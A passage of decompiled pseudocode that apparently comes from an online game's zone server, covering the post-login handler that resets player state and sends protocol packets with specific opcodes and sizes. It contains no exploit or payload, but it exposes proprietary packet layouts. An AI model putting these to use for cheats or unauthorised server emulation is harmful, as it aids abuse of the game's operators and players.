*)&nStateNum)->aeo_Index); if ( v27 && !*(_BYTE *)(v27 + 248) ) (*(void (__thiscall **)(int, _DWORD))(*(_DWORD *)v4 + 1608))(v4, *(_DWORD *)(v27 + 34)); if ( !ListTraveler::lt_Next((ListTraveler *)&nStateNum) ) goto LABEL_44; } AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD Abstate List Null ListTraveler", 0); } } } LABEL_44: (*(void (__thiscall **)(int, signed int))(*(_DWORD *)v4 + 1608))(v4, 395); (*(void (__thiscall **)(int, int, signed int, signed int, _DWORD, unsigned int, _DWORD, signed int, _DWORD, signed int))(*(_DWORD *)v4 + 1584))( v4, v4, 231, 1, unk_6BCD30, clockwatch.cw_CurrTick, 0, -1, *(_WORD *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 63), 7); ShineObjectClass::ShineObject::so_AbnormalState_BitSet((void *)v4, 231); v167 = 0; v166 = 0; *(_WORD *)(v4 + 68484) = -1; std::vector>::resize( &mobinroam, v166, (#593 *)v167); v28 = clockwatch.cw_CurrTick + *(_DWORD *)(*(_DWORD *)(v4 + 32160) + 184); *(_DWORD *)(v4 + 142024) = 200; *(_DWORD *)(v4 + 142020) = v28; briefchar.bixc_Pointer->charnum = 0; BriefInfoExchanger::BriefInfoExchangeMob::bixm_Init(&briefmob); briefdoor.bixd_Pointer->doornum = 0; briefeffect.bixe_Pointer->effectnum = 0; briefitem.bixi_Pointer->itemnum = 0; briefmagfld.bixmfm_Pointer->magicfields = 0; briefminihouse.bixmh_Pointer->minihouses = 0; BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_char); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Init(&briefabstate_mob); sightsquar = CalculateBroadcastDistance::cbd_DistanceSquar(&broadcastdistance, (#593 *)v4); ShineObjectClass::ShineObject::so_AllInMap( (void *)v4, (int)ShineObjectClass::ShineObject::so_ExchageBriefInfo, 0, 0, 0, 0); BriefInfoExchanger::BriefInfoExchangeCharacter::bixc_Send(&briefchar, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeMob::bixm_Send(&briefmob, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeDoor::bixd_Send(&briefdoor, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeEffect::bixe_Send(&briefeffect, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeItem::bixi_Send(&briefitem, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeMagicField::bixmfm_Send(&briefmagfld, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeMiniHouse::bixmh_Send(&briefminihouse, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_char, (#593 *)v4); BriefInfoExchanger::BriefInfoExchangeAbstate::bixa_Send(&briefabstate_mob, (#593 *)v4); MobRoaming::MobsInRoaming::mir_MoveInfoSendTo((MobRoaming::MobsInRoaming *)&mobinroam, (#734 *)v4); AbnormalStateContainer::AbstateListInObject::asl_SendAfterLogin( (AbnormalStateContainer::AbstateListInObject *)(v4 + 296), (#734 *)v4); *(_BYTE *)(v4 + 65920) = 0; nStateNum = &ListEraser::_vftable_; v172 = v4 + 57892; LOBYTE(v173) = 1; List::l_4AllInList((List *)(v4 + 57892), (ListIteratorDefault *)&nStateNum); LOBYTE(v173) = 0; *(_DWORD *)(v4 + 68616) = 0; ServerMenuActor::sma_Reset((ServerMenuActor *)(v4 + 68628)); v29 = *(_DWORD *)v4; *(_DWORD *)(v4 + 68612) = 0; *(_WORD *)(v4 + 69760) = 0; *(_WORD *)(v4 + 68608) = -1; *(_DWORD *)(v4 + 3852) = 0; (*(void (__thiscall **)(int))(v29 + 1568))(v4); *(_DWORD *)(16 * *(_DWORD *)(v4 + 3844) + v4 + 3588) = 0; v30 = *(_DWORD *)v4; v31 = -1; *(_DWORD *)(v4 + 65940) = -1; *(_DWORD *)(v4 + 65936) = -1; *(_DWORD *)(v4 + 65932) = -1; *(_DWORD *)(v4 + 65928) = -1; v32 = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 3572) = clockwatch.cw_CurrTick; *(_BYTE *)(v4 + 23352) &= 0xEFu; *(_DWORD *)(v4 + 3576) = v32; (*(void (__thiscall **)(int))(v30 + 3312))(v4); v33 = *(_BYTE *)(v4 + 23353); *(_BYTE *)(v4 + 23352) &= 0xBFu; v34 = *(_DWORD *)v4; *(_BYTE *)(v4 + 23353) = v33 & 0xF0; *(_BYTE *)(v4 + 23690) = -1; *(_BYTE *)(v4 + 23689) = 99; (*(void (__thiscall **)(int))(v34 + 2348))(v4); v35 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6156; *((_WORD *)v35 + 1) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); *((_WORD *)v35 + 2) = *(_WORD *)(v4 + 4); *(_DWORD *)(v35 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); v36 = *(_DWORD *)(v4 + 98); *(_DWORD *)(v35 + 10) = *(_DWORD *)v36; *(_DWORD *)(v35 + 14) = *(_DWORD *)(v36 + 4); *(_DWORD *)(v35 + 18) = *(_DWORD *)(v36 + 8); v35[22] = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); v37 = *(_DWORD *)(v4 + 78); *(_DWORD *)(v35 + 23) = *(_DWORD *)v37; *(_DWORD *)(v35 + 27) = *(_DWORD *)(v37 + 4); v35[31] = 99; *((_DWORD *)v35 + 8) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1076))(v4); *((_DWORD *)v35 + 9) = v38; *((_DWORD *)v35 + 10) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1072))(v4); *((_DWORD *)v35 + 11) = v39; v35[48] = 0; if ( ShineObjectClass::ShinePlayer::sp_IsGuildTournamentAccessTime(v4) == 1 ) v35[48] = 1; v167 = 49; v166 = (int)"ShineObjectClass::ShinePlayer::so_LinkTo : Packet Too Long"; v40 = ProtocolPacket::pp_SetPacketLen(&gpp, 49); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v40, (const char *)v166, v167) ) { v41 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v41); } if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1360))(v4) == -1 ) { if ( (unsigned __int16)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1356))(v4) != -1 ) { v44 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1356))(v4); v45 = CParty::operator__(&partycontainer, v44); v46 = *(_DWORD *)v4; v47 = v45; netcmd = (int)v45; v48 = (*(int (__thiscall **)(int))(v46 + 1356))(v4); v165 = v47 != 0; if ( !AssertClass::operator__( &shineassert, v165, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Party not found", v48) ) { v49 = (int)v47->Members; i = 5; do { if ( *(_DWORD *)v49 == (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4) ) { v50 = netcmd; *(_DWORD *)(v49 + 28) = v4; v51 = *(_DWORD *)v4; v167 = v50; (*(void (__thiscall **)(int, ABSTATEINDEX))(v51 + 1908))(v4, v50); *(_BYTE *)(v49 + 27) = LOBYTE(ZoneServer::zs_worlddata(&zoneserver)->nZoneNo); *(_DWORD *)v49 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 836))(v4); *(_WORD *)(v49 + 4) = *(_WORD *)(v4 + 4); *(_WORD *)(v49 + 6) = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 832))(v4); Name4::operator_(v49 + 8, v4 + 32175); *(_BYTE *)(v49 + 24) = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1236))(v4); *(_BYTE *)(v49 + 25) = 0; } v52 = *(_DWORD *)(v49 + 28); if ( v52 ) { v53 = *(_DWORD *)v52; nStateNum = *(int (__stdcall ***)(int, __int16))(v49 + 28); v167 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); (*(void (__thiscall **)(int (__stdcall **)(int, __int16), ABSTATEINDEX))(v53 + 1912))(nStateNum, v167); v31 = -1; } v49 += 32; --i; } while ( i ); } } } else { v42 = *(_DWORD *)v4; v43 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1360))(v4); v167 = (ABSTATEINDEX)RaidTask::rt_GetRaid(v43); (*(void (__thiscall **)(int, ABSTATEINDEX))(v42 + 2752))(v4, v167); if ( *(_BYTE *)(*(_DWORD *)(*(_DWORD *)(v4 + 98) + 12) + 158) == 1 ) { RaidTask::rt_SendPlayerDataDetail((#734 *)v4); RaidTask::rt_SendMeRaidPlayersData((#734 *)v4); RaidTask::rt_SendPlayerLocationExChange((#734 *)v4); } } v54 = *(_DWORD *)(v4 + 32160); *(_BYTE *)(v4 + 7176) = 0; *(_DWORD *)(v4 + 7180) = 0; v54 += 80; *(_WORD *)v54 = *(_WORD *)&ShineObjectClass::ShineObject::so_defstopmotion; *(_BYTE *)(v54 + 2) = byte_130BDA42; (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1568))(v4); MoveManager::mm_Halt((MoveManager *)(v4 + 232)); v55 = *(_DWORD *)v4; *(_WORD *)(v4 + 194) = 0; *(_DWORD *)(v4 + 7184) = 0; *(_DWORD *)(v4 + 139444) = 7; *(_DWORD *)(v4 + 139440) = 0; *(_WORD *)(v4 + 222) = -1; *(_WORD *)(v4 + 224) = -1; (*(void (__thiscall **)(int))(v55 + 1928))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1932))(v4); v56 = *(_DWORD *)(v4 + 3856); *(_DWORD *)(v4 + 139612) = ShineObjectClass::ShinePlayer::sp_NoAdmin; *(_DWORD *)(v4 + 7432) = v31; *(_DWORD *)(v4 + 7164) = (*(int (**)(void))(*(_DWORD *)v56 + 52))(); *(_BYTE *)(v4 + 7169) = 0; *(_BYTE *)(v4 + 7168) = 0; *(_DWORD *)(v4 + 139640) = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 139644) = clockwatch.cw_CurrTick; *(_WORD *)(v4 + 142008) = -1; ShineObjectClass::ShinePlayer::sp_StatRemainSend((void *)v4); *(_DWORD *)(v4 + 142012) = clockwatch.cw_CurrTick + 6000; *(_DWORD *)(v4 + 142016) = 6000; v57 = clockwatch.cw_CurrTick + 20; *(_DWORD *)(v4 + 142040) = 20; *(_DWORD *)(v4 + 142036) = v57; if ( *(_DWORD *)(*(_DWORD *)(v4 + 98) + 60) == v31 ) { if ( *(_BYTE *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1060))(v4) ) { v58 = (BattleStat *)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1060))(v4); BattleStat::bs_Clear(v58); } *(_BYTE *)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1060))(v4) = 1; } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1316))(v4); v167 = 9; *(_DWORD *)(v4 + 139652) = &ShineObjectClass::ShinePlayer::BoothSell::board; ShineObjectClass::ShinePlayer::sp_RemoveKQItem((void *)v4, v167); ShineObjectClass::ShinePlayer::sp_RemoveKQItem((void *)v4, 8); v59 = ShineObjectClass::ShinePlayer::sp_NextSaveExperience((void *)v4); *(_BYTE *)(v4 + 23352) &= 0xFCu; *(_DWORD *)(v4 + 32272) = v59; *(_DWORD *)(v4 + 32276) = v60; v61 = *(_DWORD *)v4; v62 = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 66144) = clockwatch.cw_CurrTick; *(_DWORD *)(v4 + 66136) = v62; *(_DWORD *)(v4 + 66148) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *(_DWORD *)(v4 + 66140) = ShineObjectClass::ShineMobileObject::smo_ChineCastCut; *(_WORD *)(v4 + 140386) = (*(int (__thiscall **)(int))(v61 + 1296))(v4); v63 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1300))(v4); v167 = 1; *(_WORD *)(v4 + 140388) = v63; memorycopy( (ShineObjectClass::ShinePlayer::SpeedNotice *)gpp.pp_Buffer, (ShineObjectClass::ShinePlayer::SpeedNotice *)(v4 + 140384), v167); v167 = 6; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v64 = ProtocolPacket::pp_SetPacketLen(&gpp, 6); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v64, (const char *)v166, v167) ) { v65 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); v66 = *(_DWORD *)v65; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v66 + 12))(v65, v4, &gpp); } *(_BYTE *)(v4 + 7428) &= 0xFDu; v167 = v4; v166 = v4 + 142064; *(_BYTE *)(v4 + 142736) = 0; *(_DWORD *)(v4 + 143128) = -1; ChargedItemEffectList::ChargedEffectListRouter::ChargedEffectListRouter( (ChargedItemEffectList::ChargedEffectListRouter *)&nStateNum, (ChargedItemEffectList::ChargedItem *)v166, (#734 *)v167); memcpy((void *)(v4 + 142688), &ShineObjectClass::ShineObject::so_ChargedEffectContainerClear, 0x2Cu); v167 = (ABSTATEINDEX)&nStateNum; LOBYTE(v173) = 2; *(_WORD *)(v4 + 142732) = *(_WORD *)&ShineObjectClass::ShineObject::so_ChargedEffectContainerClear.cec_StorageAnywhere; List::l_4AllInList((List *)(v4 + 142064), (ListIteratorDefault *)v167); v67 = *(_DWORD *)v4; *(_BYTE *)(v4 + 3560) = 1; (*(void (__thiscall **)(int))(v67 + 860))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 872))(v4); *(_BYTE *)(v4 + 139608) = 1; LOBYTE(v173) = 0; ChargedItemEffectList::ChargedEffectListRouter::_ChargedEffectListRouter((ChargedItemEffectList::ChargedEffectListRouter *)&nStateNum); *(_DWORD *)(v4 + 139548) = 0; ShineObjectClass::ShinePlayer::sp_MakeMiniHouse((void *)v4); v68 = *(_DWORD *)(v4 + 52972); v167 = 0; v69 = (*(int (__thiscall **)(int, _DWORD))v68)(v4 + 52972, 0); if ( *(_WORD *)(v69 + 8) != -1 ) ShineObjectClass::ShinePlayer::MiniHouseStr::mhs_Init( (ShineObjectClass::ShinePlayer::MiniHouseStr *)(v4 + 139500), (#734 *)v4, (ItemInventoryCell *)v69); ShineObjectClass::ShinePlayer::sp_LoginInit((void *)v4); v70 = *(_DWORD *)v4; *(_WORD *)(v4 + 32165) = 0; if ( !(*(int (__thiscall **)(int))(v70 + 1252))(v4) ) { v71 = *(_DWORD *)v4; v167 = 1; (*(void (__thiscall **)(int, signed int))(v71 + 1248))(v4, 1); } ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyKQ((void *)v4); ShineObjectClass::ShinePlayer::sp_EscapeFromEmptyID((void *)v4); v72 = *(_DWORD *)(v4 + 98); if ( !v72 || !FieldMap::fm_IsGuildTournametnMap(v72) ) goto LABEL_78; v73 = AbnormalStateContainer::AbstateListInObject::asl_Abstate_IsSet( (AbnormalStateContainer::AbstateListInObject *)(v4 + 296), STA_OBSERVERHIDEMODE); v74 = *(void **)(v4 + 98); if ( v73 ) { v79 = FieldMap::fm_GetGuildTournamentSystem(v74) == 0; } else { if ( !FieldMap::fm_GetGuildTournamentSystem(v74) ) { LABEL_77: ShineObjectClass::ShinePlayer::sp_2Roumen((void *)v4); goto LABEL_78; } v75 = *(void **)(v4 + 98); v167 = v4; v76 = FieldMap::fm_GetGuildTournamentSystem(v75); if ( GuildTournamentSystem::PlayerRegister((GuildTournamentSystem *)v76, (#593 *)v167) ) { LABEL_78: v80 = *(_DWORD *)v4; v167 = 0; (*(void (__thiscall **)(int, _DWORD))(v80 + 3460))(v4, 0); *(_BYTE *)(v4 + 23352) &= 0x7Fu; *(_WORD *)(v4 + 194) = 0; v81 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 6174; v82 = *(_DWORD *)(*(_DWORD *)(v4 + 98) + 416); if ( v82 ) v83 = *(_DWORD *)v82; else LOBYTE(v83) = 0; v167 = 3; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v81[2] = v83; v84 = ProtocolPacket::pp_SetPacketLen(&gpp, 3); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v84, (const char *)v166, v167) ) { v85 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 764))(v4); v86 = *(_DWORD *)v85; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v86 + 12))(v85, v4, &gpp); } v87 = *(_DWORD *)v4; *(_WORD *)(v4 + 143258) = -1; if ( (unsigned __int16)(*(int (__thiscall **)(int))(v87 + 1356))(v4) != -1 ) { v88 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 14414; v89 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1356))(v4); v167 = 4; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v165 = 4; *((_WORD *)v88 + 1) = v89; v90 = ProtocolPacket::pp_SetPacketLen(&gpp, v165); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v90, (const char *)v166, v167) ) { v91 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v91); } } ShineObjectClass::ShinePlayer::sp_ConnectFromWhere((void *)v4); *(_DWORD *)(v4 + 143260) = 0; ItemBag::ib_clear((ItemBag *)(v4 + 136600)); v92 = -1; *(_DWORD *)(v4 + 139388) = -1; v93 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = -27596; *((_WORD *)v93 + 1) = *(_WORD *)(v4 + 4); v94 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v167 = 8; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v165 = 8; *((_DWORD *)v93 + 1) = v94; v95 = ProtocolPacket::pp_SetPacketLen(&gpp, v165); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v95, (const char *)v166, v167) ) { v96 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2wldman); ProtocolPacket::pp_SendPacket(&gpp, v96); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1032))(v4); (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 1044))(v4); PROTO_NC_CHAR_WEDDINGDATA_ACK::Reset((PROTO_NC_CHAR_WEDDINGDATA_ACK *)(v4 + 23364)); v97 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4224; *((_WORD *)v97 + 1) = *(_WORD *)(v4 + 4); v98 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); v167 = 8; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v165 = 8; *((_DWORD *)v97 + 1) = v98; v99 = ProtocolPacket::pp_SetPacketLen(&gpp, v165); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v99, (const char *)v166, v167) ) { v100 = (ZoneBaseSession *)SocketBundle::sb_GetSocket(&sock2gameDB); ProtocolPacket::pp_SendPacket(&gpp, v100); } *(_DWORD *)(v4 + 143276) = 0; ShineObjectClass::ShinePlayer::sp_GhostBan((void *)v4); ShineObjectClass::ShinePlayer::sp_KeepFromDoubleLogin((void *)v4); *(_BYTE *)(v4 + 143280) = 0; *(_DWORD *)(v4 + 23336) = 0; ItemLotInspector::ili_Clear((ItemLotInspector *)(v4 + 7452)); ItemLotInspector::ili_Reset((ItemLotInspector *)(v4 + 7452)); v101 = *(_DWORD *)(v4 + 98); *(_BYTE *)(v4 + 143306) = 0; *(_WORD *)(v4 + 143282) = -1; v102 = *(_DWORD *)(v101 + 60); if ( v102 != -1 ) { v103 = KingdomQuest::KingdomQuestContainer::kqc_SearchHandle( &kqcontainer, v102, (unsigned __int16 *)&listhandle); if ( v103 ) KQContribute::KQContributeList::kqcl_SendMobKill( (KQContribute::KQContributeList *)&g_KQContributeList, v102, (#593 *)v4, v103->kqe_kqinfo.DemandMobKill, 0); } v104 = *(_DWORD *)v4; *(_WORD *)(v4 + 143586) = 0; *(_WORD *)(v4 + 143576) = 0; if ( (unsigned __int8)(*(int (__thiscall **)(int))(v104 + 1232))(v4) >= 0x64u ) { v105 = *(_DWORD *)v4; v167 = (ABSTATEINDEX)"LoginComplete"; (*(void (__thiscall **)(int, _DWORD))(v105 + 2660))(v4, "LoginComplete"); } if ( ShineObjectClass::ShinePlayer::sp_IsAutoPickEnableState(v4) ) { LOBYTE(v106) = ShineObjectClass::ShinePlayer::sp_GetAutoPick(v4); ShineObjectClass::ShinePlayer::sp_SetAutoPick(v4, v106); } v107 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1052))(v4); if ( !v107 || (v108 = *(_BYTE *)(v107 + 560), v167 = *(_BYTE *)(v107 + 561), (v109 = CCharacterTitleDataStateServer::GetStateData(&gCharacterTitleDataStateServer, v108, v167)) == 0) ) { v173 = -1; FunctionEntarance::_FunctionEntarance(&_); return; } v110 = (int (__stdcall **)(int, __int16))v109->nStateNum; nStateNum = (int (__stdcall **)(int, __int16))v109->nStateNum; i = 0; if ( (signed int)v110 <= 0 ) { LABEL_108: v122 = *(_DWORD *)(v4 + 98); if ( v122 ) { v167 = *(_DWORD *)(v122 + 12); v123 = NameString::operator__(&namestring, (Name3 *)v167); v124 = MapClusterManager::ClusterManager::cm_FindMapCluster(&mapclustermanager, v123); if ( v124 ) { v125 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1356))(v4); if ( MapClusterManager::MapCluster::mc_GetLimitTime(v124, (unsigned int *)&netcmd, v125) ) { v126 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 2064; v126[2] = 2; v167 = 5; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; *(_WORD *)(v126 + 3) = (unsigned __int16)netcmd / 10; v127 = ProtocolPacket::pp_SetPacketLen(&gpp, 5); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v127, (const char *)v166, v167) ) { v128 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v129 = *(_DWORD *)v128; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v129 + 12))(v128, v4, &gpp); } } } } v130 = *(_DWORD *)(v4 + 98); if ( v130 ) { if ( !FieldMap::fm_IsPkToggleField(v130) ) { if ( (unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2732))(v4) == 1 ) { v131 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4296; v132 = *(_DWORD *)v4; v167 = 0; (*(void (__thiscall **)(int, _DWORD))(v132 + 2736))(v4, 0); *(_WORD *)(v131 + 3) = 8258; v133 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2732))(v4); v167 = 5; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMDD : Packet Too Long"; v165 = 5; v131[2] = v133; v134 = ProtocolPacket::pp_SetPacketLen(&gpp, v165); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v134, (const char *)v166, v167) ) { v135 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v136 = *(_DWORD *)v135; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v136 + 12))(v135, v4, &gpp); } } } } ShineObjectClass::ShinePlayer::sp_Send2MyselfDispositionInfo_((void *)v4); if ( *(_WORD *)(v4 + 32261) ) { v137 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 31749; *((_WORD *)v137 + 1) = 3497; v138 = 60 * *(_WORD *)(v4 + 32261); v167 = 8; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; *((_DWORD *)v137 + 1) = v138; v139 = ProtocolPacket::pp_SetPacketLen(&gpp, 8); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v139, (const char *)v166, v167) ) { v140 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v141 = *(_DWORD *)v140; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v141 + 12))(v140, v4, &gpp); } } if ( (unsigned __int8)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1232))(v4) ) { v142 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4294; v143 = (*(int (__thiscall **)(int))(*(_DWORD *)v4 + 1232))(v4); v167 = 3; v166 = (int)"ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long"; v165 = 3; v142[2] = v143; v144 = ProtocolPacket::pp_SetPacketLen(&gpp, v165); if ( !AssertClass::operator__(&shineassert, (unsigned __int8)v144, (const char *)v166, v167) ) { v145 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v146 = *(_DWORD *)v145; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v146 + 12))(v145, v4, &gpp); } } ShineObjectClass::ShinePlayer::sp_ChargedEffectAfterLoginComplete((void *)v4); ShineObjectClass::ShinePlayer::sp_ItemActionSetup(v4); ShineObjectClass::ShinePlayer::sp_RemoveField((void *)v4); v147 = *(_DWORD *)v4; v167 = 600; v166 = clockwatch.cw_CurrTick; (*(void (__thiscall **)(int, unsigned int, signed int))(v147 + 2824))(v4, clockwatch.cw_CurrTick, 600); v148 = gpp.pp_Buffer; *(_WORD *)gpp.pp_Buffer = 4308; v149 = *(_BYTE *)(v4 + 143804); v167 = 3; v148[2] = v149; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v167) ) { v150 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v151 = *(_DWORD *)v150; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v151 + 12))(v150, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 3); } (*(void (__thiscall **)(int))(*(_DWORD *)v4 + 2840))(v4); ShineObjectClass::ShinePlayer::sp_SetCharTitleChangeAvailableTime(v4, 0); v152 = *(_DWORD *)v4; *(_WORD *)(v4 + 143824) = -1; v167 = clockwatch.cw_CurrTick; (*(void (__thiscall **)(int, unsigned int))(v152 + 2884))(v4, clockwatch.cw_CurrTick); *(_WORD *)(v4 + 68490) = 0; *(_BYTE *)(v4 + 68492) = 0; if ( (unsigned __int16)(*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1356))(v4) != -1 ) { v153 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 1356))(v4); v154 = CParty::operator__(&partycontainer, v153); v155 = v154; if ( v154 ) { if ( v154->dungeonExpiredInfo._isCountdown ) { PartyManufacture::pm_NoticeDungeonMapName( &partymanufacture, (#593 *)v4, &v154->dungeonExpiredInfo._currDungeonMapName); v167 = (v155->dungeonExpiredInfo._expiredTime - clockwatch.cw_CurrTick) / 0xA; PartyManufacture::pm_NoticeDungeonExpired(&partymanufacture, (#593 *)v4, v167); } } } if ( ShineObjectClass::ShinePlayer::sp_GetIsAuctionNewItem(v4) ) { v167 = 3; *(_WORD *)gpp.pp_Buffer = -18431; if ( ProtocolPacket::pp_SetPacketLen(&gpp, v167) ) { v156 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 764))(v4); v157 = *(_DWORD *)v156; v167 = (ABSTATEINDEX)&gpp; v166 = v4; (*(void (__thiscall **)(int, int, ProtocolPacket *))(v157 + 12))(v156, v4, &gpp); } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::sp_NC_MAP_LOGINCOMPLETE_CMD : Packet Too Long", 3); } } if ( !(unsigned __int8)(*(int (__thiscall **)(int))(*(_DWORD *)v4 + 2896))(v4) ) { nStateNum = (int (__stdcall **)(int, __int16))&v165; v167 = 0; v166 = 0; v165 = 0; strncpy((char *)&v165, byte_635E1E, 0xCu); (*(void (__thiscall **)(int, signed int, int, ABSTATEINDEX))(*(_DWORD *)v4 + 2900))(v4, v165, v166, v167); } v158 = *(_DWORD *)v4; v167 = 0; *(_WORD *)(v4 + 143872) = -1; (*(void (__thiscall **)(int, ABSTATEINDEX))(v158 + 3128))(v4, v167); v159 = *(_DWORD *)v4; v167 = 0; (*(void (__thiscall **)(int, _DWORD))(v159 + 3136))(v4, 0); v160 = *(_DWORD *)v4; v167 = 0; (*(void (__thiscall **)(int, _DWORD))(v160 + 3148))(v4, 0); v161 = *(_DWORD *)v4; v167 = 0; v166 = 0; v165 = v4; v164 = 2; (*(void (__thiscall **)(int, signed int, int, _DWORD, _DWORD))(v161 + 3156))(v4, 2, v4, 0, 0); v79 = *(_DWORD *)(v4 + 98) == 0; *(_DWORD *)(v4 + 143896) = 0; if ( !v79 ) { v162 = (*(int (__thiscall **)(_DWORD))(*(_DWORD *)v4 + 836))(v4); 